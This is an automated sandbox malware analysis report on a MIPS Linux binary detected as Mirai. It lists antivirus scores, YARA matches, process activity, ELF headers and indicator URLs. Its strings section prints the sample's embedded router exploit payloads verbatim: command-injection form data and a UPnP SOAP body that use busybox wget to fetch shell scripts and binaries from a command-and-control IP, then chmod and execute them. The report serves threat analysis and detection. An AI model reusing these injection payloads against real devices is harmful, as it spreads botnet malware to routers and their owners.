Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
RaNg2d7Qzo

Overview

General Information

Sample Name:RaNg2d7Qzo
Analysis ID:679631
MD5:8c33b327bc030efedb88abee85efef14
SHA1:af6b7dabe6acf0577663902ef127acadf7fa6168
SHA256:1f732b672c0f0f1893f9515fa07dc655618beaeb8dd47f0ebeb00895f862ba4f
Tags:32elfmipsmirai
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara signature match
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Sample listens on a socket
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:35.0.0 Citrine
Analysis ID:679631
Start date and time: 06/08/202207:31:012022-08-06 07:31:01 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 18s
Hypervisor based Inspection enabled:false
Report type:light
Sample file name:RaNg2d7Qzo
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal64.troj.lin@0/0@0/0

Warnings

  • VT rate limit hit for: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI

Runtime Messages

Command:/tmp/RaNg2d7Qzo
PID:6232
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
RaNg2d7QzoSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
  • 0x22e34:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22ea4:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22f14:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22f84:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22ff4:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x23264:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x232b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x2330c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x23360:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x233b4:$xo1: oMXKNNC\x0D\x17\x0C\x12
RaNg2d7QzoJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    6232.1.00007fd13c465000.00007fd13c467000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x1584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x15f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x166c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x16e0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1754:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19d4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a2c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1adc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1b34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6232.1.00007fd13c400000.00007fd13c424000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x22e34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22ea4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22f14:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22f84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22ff4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x23264:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x232b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x2330c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x23360:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x233b4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6232.1.00007fd13c400000.00007fd13c424000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6235.1.00007fd13c400000.00007fd13c424000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
      • 0x22e34:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22ea4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22f14:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22f84:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22ff4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x23264:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x232b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x2330c:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x23360:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x233b4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      6235.1.00007fd13c400000.00007fd13c424000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        Click to see the 1 entries

        Snort Signatures

        ⊘No Snort rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: RaNg2d7QzoAvira: detected
        Multi AV Scanner detection for submitted file
        Source: RaNg2d7QzoVirustotal: Detection: 59%Perma Link
        Source: RaNg2d7QzoMetadefender: Detection: 34%Perma Link
        Source: RaNg2d7QzoReversingLabs: Detection: 69%
        Source: /tmp/RaNg2d7Qzo (PID: 6232)Socket: 127.0.0.1::44455
        Source: RaNg2d7QzoString found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
        Source: RaNg2d7QzoString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
        Source: RaNg2d7QzoString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
        Source: RaNg2d7QzoString found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
        Source: RaNg2d7QzoString found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
        Source: RaNg2d7QzoString found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
        Source: RaNg2d7QzoString found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
        Source: RaNg2d7QzoString found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
        Source: RaNg2d7QzoString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: RaNg2d7QzoString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: RaNg2d7QzoString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: RaNg2d7Qzo, type: SAMPLEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6232.1.00007fd13c465000.00007fd13c467000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6232.1.00007fd13c400000.00007fd13c424000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6235.1.00007fd13c400000.00007fd13c424000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6235.1.00007fd13c465000.00007fd13c467000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0
        Source: classification engineClassification label: mal64.troj.lin@0/0@0/0
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6236/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1582/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2033/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2275/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/3088/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6191/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6192/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1612/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1579/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1699/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1335/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1698/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2028/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1334/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1576/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2302/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/3236/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2025/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2146/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/910/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6347/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/912/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/517/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/759/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2307/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/918/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6241/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6240/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6243/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/4465/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6246/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1594/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2285/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2281/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1349/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1623/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/761/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1622/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/884/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1983/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2038/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1344/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1465/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1586/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1463/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2156/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/800/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/801/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1629/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1627/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1900/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6252/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6254/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6256/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6255/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6258/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6257/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/3021/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/491/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2294/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2050/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6250/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1877/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/772/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1633/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1599/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1632/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/774/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1477/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/654/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/896/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1476/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1872/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2048/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/655/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1475/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2289/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/656/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/777/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/657/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/4466/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/658/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/4467/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6248/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/4468/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/419/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/936/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1639/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1638/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2208/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2180/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6264/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/6267/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1809/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1494/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1890/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2063/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/2062/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1888/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1886/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/420/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1489/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/785/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/1642/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6234)File opened: /proc/788/exe
        Source: /tmp/RaNg2d7Qzo (PID: 6232)Queries kernel information via 'uname':
        Source: RaNg2d7Qzo, 6232.1.0000556cacb4d000.0000556cacbd4000.rw-.sdmp, RaNg2d7Qzo, 6235.1.0000556cacb4d000.0000556cacbd4000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
        Source: RaNg2d7Qzo, 6232.1.0000556cacb4d000.0000556cacbd4000.rw-.sdmp, RaNg2d7Qzo, 6235.1.0000556cacb4d000.0000556cacbd4000.rw-.sdmpBinary or memory string: lU!/etc/qemu-binfmt/mipsel
        Source: RaNg2d7Qzo, 6232.1.00007ffc863d1000.00007ffc863f2000.rw-.sdmp, RaNg2d7Qzo, 6235.1.00007ffc863d1000.00007ffc863f2000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/RaNg2d7QzoSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/RaNg2d7Qzo
        Source: RaNg2d7Qzo, 6232.1.00007ffc863d1000.00007ffc863f2000.rw-.sdmp, RaNg2d7Qzo, 6235.1.00007ffc863d1000.00007ffc863f2000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel

        Stealing of Sensitive Information

        barindex
        Yara detected Mirai
        Source: Yara matchFile source: RaNg2d7Qzo, type: SAMPLE
        Source: Yara matchFile source: 6232.1.00007fd13c400000.00007fd13c424000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 6235.1.00007fd13c400000.00007fd13c424000.r-x.sdmp, type: MEMORY

        Remote Access Functionality

        barindex
        Yara detected Mirai
        Source: Yara matchFile source: RaNg2d7Qzo, type: SAMPLE
        Source: Yara matchFile source: 6232.1.00007fd13c400000.00007fd13c424000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 6235.1.00007fd13c400000.00007fd13c424000.r-x.sdmp, type: MEMORY

        Mitre Att&ck Matrix

        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Valid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
        OS Credential Dumping        		11
        Security Software Discovery        		Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 signatures2 2 Behavior Graph ID: 679631 Sample: RaNg2d7Qzo Startdate: 06/08/2022 Architecture: LINUX Score: 64 23 Antivirus / Scanner detection for submitted sample 2->23 25 Multi AV Scanner detection for submitted file 2->25 27 Yara detected Mirai 2->27 7 RaNg2d7Qzo 2->7         started        process3 process4 9 RaNg2d7Qzo 7->9         started        11 RaNg2d7Qzo 7->11         started        13 RaNg2d7Qzo 7->13         started        process5 15 RaNg2d7Qzo 9->15         started        17 RaNg2d7Qzo 9->17         started        19 RaNg2d7Qzo 9->19         started        21 11 other processes 9->21

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        RaNg2d7Qzo60%VirustotalBrowse
        RaNg2d7Qzo34%MetadefenderBrowse
        RaNg2d7Qzo69%ReversingLabsLinux.Trojan.Mirai
        RaNg2d7Qzo100%AviraLINUX/Mirai.bonb

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://46.23.109.47/Cloud/Gpon.sh19%VirustotalBrowse
        http://46.23.109.47/Cloud/Gpon.sh100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.x8618%VirustotalBrowse
        http://46.23.109.47/Cloud/Cloud.x86100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.mpsl;chmod100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.mips;100%Avira URL Cloudmalware
        http://purenetworks.com/HNAP1/0%URL Reputationsafe
        http://0.0.0.0/Cloud/Cloud.x860%Avira URL Cloudsafe
        http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$100%Avira URL Cloudmalware

        Domains and IPs

        Contacted Domains

        ⊘No contacted domains info

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://46.23.109.47/Cloud/Gpon.shRaNg2d7Qzotrue
        • 19%, Virustotal, Browse
        • Avira URL Cloud: malware
        		unknown
        http://46.23.109.47/Cloud/Cloud.x86RaNg2d7Qzotrue
        • 18%, Virustotal, Browse
        • Avira URL Cloud: malware
        		unknown
        http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114RaNg2d7Qzotrue
        • Avira URL Cloud: malware
        		unknown
        http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VIRaNg2d7Qzotrue
        • Avira URL Cloud: malware
        		unknown
        http://schemas.xmlsoap.org/soap/encoding/RaNg2d7Qzofalse
          		high
          http://46.23.109.47/Cloud/Cloud.mpsl;chmodRaNg2d7Qzotrue
          • Avira URL Cloud: malware
          		unknown
          http://46.23.109.47/Cloud/Cloud.mips;RaNg2d7Qzotrue
          • Avira URL Cloud: malware
          		unknown
          http://purenetworks.com/HNAP1/RaNg2d7Qzofalse
          • URL Reputation: safe
          		unknown
          http://0.0.0.0/Cloud/Cloud.x86RaNg2d7Qzofalse
          • Avira URL Cloud: safe
          		unknown
          http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$RaNg2d7Qzotrue
          • Avira URL Cloud: malware
          		unknown
          http://schemas.xmlsoap.org/soap/envelope/RaNg2d7Qzofalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            ⊘No context

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            ⊘No created / dropped files found

            Static File Info

            General

            File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
            Entropy (8bit):5.701630357525989
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:RaNg2d7Qzo
            File size:150284
            MD5:8c33b327bc030efedb88abee85efef14
            SHA1:af6b7dabe6acf0577663902ef127acadf7fa6168
            SHA256:1f732b672c0f0f1893f9515fa07dc655618beaeb8dd47f0ebeb00895f862ba4f
            SHA512:3c78a28b868a00dda9d7d2500af6ccc63d78201940c7abe7ee72954839f45324da3fa24e5e15cd68cec1136c3e52928657dc2f9fb4567efde2ef0ee8ab2afad6
            SSDEEP:1536:OMfjBhjBYB1yqYmQbB6+U8XKAgi1ALlAIw93AZPgMXNybTDK2QpOZqaBhIzWES2:OMf7Ms/lB6+uAgTYcXtpOm
            TLSH:73E3D54BAB710FFBE89FDD3700E91706159C591622B96FB1B670D818F28B24F29D3864
            File Content Preview:.ELF....................`.@.4....H......4. ...(...............@...@.@>..@>...............@...@F..@F.x...8...........Q.td...............................<L..'!......'.......................<(..'!... .........9'.. ........................<...'!...........p.9

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:MIPS R3000
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x400260
            Flags:0x1007
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:149724
            Section Header Size:40
            Number of Section Headers:14
            Header String Table Index:13

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x4000940x940x8c0x00x6AX004
            .textPROGBITS0x4001200x1200x20ec00x00x6AX0016
            .finiPROGBITS0x420fe00x20fe00x5c0x00x6AX004
            .rodataPROGBITS0x4210400x210400x2e000x00x2A0016
            .ctorsPROGBITS0x4640000x240000x80x00x3WA004
            .dtorsPROGBITS0x4640080x240080x80x00x3WA004
            .data.rel.roPROGBITS0x4640140x240140x100x00x3WA004
            .dataPROGBITS0x4640300x240300x2c00x00x3WA0016
            .gotPROGBITS0x4642f00x242f00x5880x40x10000003WAp0016
            .sbssNOBITS0x4648780x248780x240x00x10000003WAp004
            .bssNOBITS0x4648a00x248780xa980x00x3WA0016
